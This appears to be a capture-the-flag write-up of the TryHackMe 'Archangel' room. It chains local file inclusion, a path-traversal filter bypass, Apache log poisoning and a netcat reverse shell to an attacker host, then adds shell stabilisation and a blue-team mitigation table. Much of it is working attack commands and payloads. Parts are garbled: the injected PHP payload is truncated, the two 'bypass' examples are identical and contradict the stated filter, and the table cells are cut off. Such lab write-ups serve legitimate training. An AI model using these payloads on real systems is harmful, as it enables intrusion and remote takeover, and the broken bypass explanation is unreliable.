

TryHackMe: Archangel

LFI → Log Poisoning → RCE — Full Attack Chain Writeup

1. Overview

Archangel is a TryHackMe room focusing on web enumeration, Local File Inclusion (LFI) exploitation, filter bypass, and Apache log poisoning for Remote Code Execution. The attack chain is: **Nmap** → **vhost discovery** → **LFI discovery** → **filter analysis** → **filter bypass** → **log poisoning** → **RCE** → **reverse shell** → **user flag**.

2. Enumeration

2.1 Nmap Port Scan

```
nmap -sC -sV -p- -T4 10.x.x.x
```

Results: Port 22 (OpenSSH 7.6p1) and Port 80 (Apache 2.4.29 — page title: *Wavefire*). Ubuntu Linux host.

2.2 Domain Discovery

Curling the site's HTML revealed a support email: **support@mafialive.thm** — exposing the virtual hostname.

```
echo '10.x.x.x mafialive.thm' | sudo tee -a /etc/hosts
```

2.3 VHost / Directory Enumeration

Gobuster vhost scan with `--append-domain` returned all 400s (Apache rejecting unrecognised Host headers — default vhost catching everything). No hidden vhost found this way.

Directory busting on mafialive.thm revealed **test.php** in the web root, not a subdirectory. This page contained a button linking to:

```
/test.php?view=/var/www/html/development_testing/mrrobot.php
```

The **view=** parameter is the LFI vector.

3. LFI Analysis & Filter Bypass

3.1 Initial Testing

Basic LFI payloads (`/etc/passwd`, `../../../../etc/passwd`) returned 'Sorry, Thats not allowed'. The included file `mrrobot.php` worked, suggesting a path-based restriction.

3.2 Reading Source via `php://filter`

Using the `php://filter` wrapper with the allowed path prefix to base64-encode and exfiltrate the `test.php` source:

```
curl 'http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php'
```

Decoded output revealed the filter logic:

```
if(!containsStr($_GET['view'], '..../..') &&
    containsStr($_GET['view'], '/var/www/html/development_testing')) {
    include $_GET['view'];
}
```

The filter: (1) **blocks** any path containing `../` (double traversal) and (2) **requires** the string `/var/www/html/development_testing` to be present. Also found in source: **FLAG: thm{explo1t1ng_lf1}**

3.3 Filter Bypass

The filter only blocks the literal string `../` — it does NOT block single `./` or the pattern `./...`. By inserting `./` between traversal steps, we satisfy the check while still traversing up multiple directory levels:

```
view=/var/www/html/development_testing/../../../../../../../../etc/passwd
# OR
view=/var/www/html/development_testing/../../../../../../../../etc/passwd
```

Both patterns contain the required substring but avoid the blocked string. Result: full `/etc/passwd` returned, confirming unrestricted path traversal.

If this bypass hadn't worked: alternatives include URL-encoding dots (%2e), double URL-encoding (%252e), or using symlinks. If all traversal was blocked, pivot to reading writable files via `php://input` or `data://` wrappers (if `allow_url_include` is on).

4. Apache Log Poisoning → RCE

4.1 Why Log Poisoning?

With LFI confirmed but no direct RCE wrapper available (`php://` filters for code execution require `allow_url_include`), we pivot to log poisoning: Apache logs every request's User-Agent string to `access.log`. If we inject PHP code into the User-Agent, it gets written to the log. Then including the log via LFI causes PHP to execute our injected code.

4.2 Confirming Log is Readable

```
curl -G 'http://mafialive.thm/test.php' \
--data-urlencode 'view=/var/www/html/development_testing/../../../../../../../../var/log/apache2/access.log'
```

Log returned successfully — `www-data` has read access to `access.log`. Note: `/var/log/auth.log` was NOT readable (requires `adm/root` group).

4.3 Injecting the Payload

Send a request to the target with the reverse shell payload as the User-Agent. Apache logs it verbatim:

```
curl -s 'http://mafialive.thm/' \
-A "&1|nc YOUR_IP 4444 >/tmp/f') ?>"
```

Key: use **`exec()`** not `system()` — `exec()` suppresses output to the HTTP response, keeping the log readable on future requests. The `mkfifo` payload creates a named pipe for a fully interactive shell.

4.4 Triggering Execution

Start a netcat listener, then include the log via LFI to execute the injected PHP:

```
# Terminal 1
nc -lvnp 4444

# Terminal 2
curl -G 'http://mafialive.thm/test.php' \
--data-urlencode 'view=/var/www/html/development_testing/../../../../../../../../var/log/apache2/access.log'
```

PHP includes the log file, hits the injected line, and executes the reverse shell. Shell connects back as **`www-data`**.

If `exec()` is disabled: try `system()`, `shell_exec()`, `passthru()`, or `popen()`. If all are disabled, check `/etc/php*/apache2/conf.d/` for `disable_functions`. If netcat isn't available on target, use a Python or Perl reverse shell. If log poisoning is blocked (AppArmor, read-only log), try `/proc/self/enviro`n poisoning (via User-Agent → include `/proc/self/enviro`n) or session file poisoning.

5. Post-Exploitation

5.1 Shell Stabilization

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Then: Ctrl+Z → stty raw -echo → fg → export TERM=xterm

5.2 User Flow

```
find / -name 'user.txt' 2>/dev/null
cat /home/archangel/user.txt
```

5.3 Privilege Escalation (Next Steps)

From `www-data`, standard `privesc` enumeration: check `sudo -l`, SUID binaries, cron jobs, writable paths, and `/home/archangel` for readable files. Archangel continues with cron-based `privesc` to the `archangel` user, then a SUID binary for root.

6. Blue Team Detection & Mitigation

Step	Blue Team Detection	Mitigation
Recon (Nmap)	SYN scan signatures in IDS/IPS (Snort rule: ET SCAN). Abnormal port sweep volume detected via logs.	Critical ports blocked via firewall rules. Alert on SYN knocking or firewall whitelisting for SS
VHost Enum	High volume of 400s from single IP with varied Host headers via Apache logs.	WAF added to block Host header fuzzing. Alert on >50 unique Host values from o
LFI Attempt	Apache access.log: view= parameter containing ../, php://, /etc/passwd, /etc/shadow, etc.	Whitelist WAF/Middleware by URL sites like wordpress directly to include
php:// Filter	URL contains php://filter or convert.base64 in access.log. ModSecurity OR_SeqRuleMatch	Block php:// wrapper via WAF.
Log Poisoning	User-Agent strings containing <?php in access.log. SIEM alert for suspicious HTTP headers.	Sanitize HTTP request headers with open_basedir restriction. Use AppArmor to r
Reverse Shell	Outbound connection from web server process (www-data) to C&S IP address via netstat/ss -tnltp	Egress firewall rules blocking standard portnetflow/EDR web server. Network

7. Key Lessons

1. Source disclosure is critical: `php://filter/base64-encode` revealed the exact filter logic, turning a guessing game into a surgical bypass.

2. Naive substring filters are trivially bypassed: blocking '../.' but not '../' or '/../.' is useless. Always use realpath() and check canonical paths.

3. Log files are attack surfaces: Any field logged verbatim (User-Agent, Referer, X-Forwarded-For) can carry PHP payloads if logs are web-accessible via LFI.

4. LFI without RCE wrappers still leads to RCE: Log poisoning, `/proc/self/environ`, and session files are reliable pivots even when `php://` RCE wrappers are unavailable.

5. Auth.log vs access.log: `access.log` is often world-readable; `auth.log` requires the `adm` group. Always check `access.log` first for log poisoning.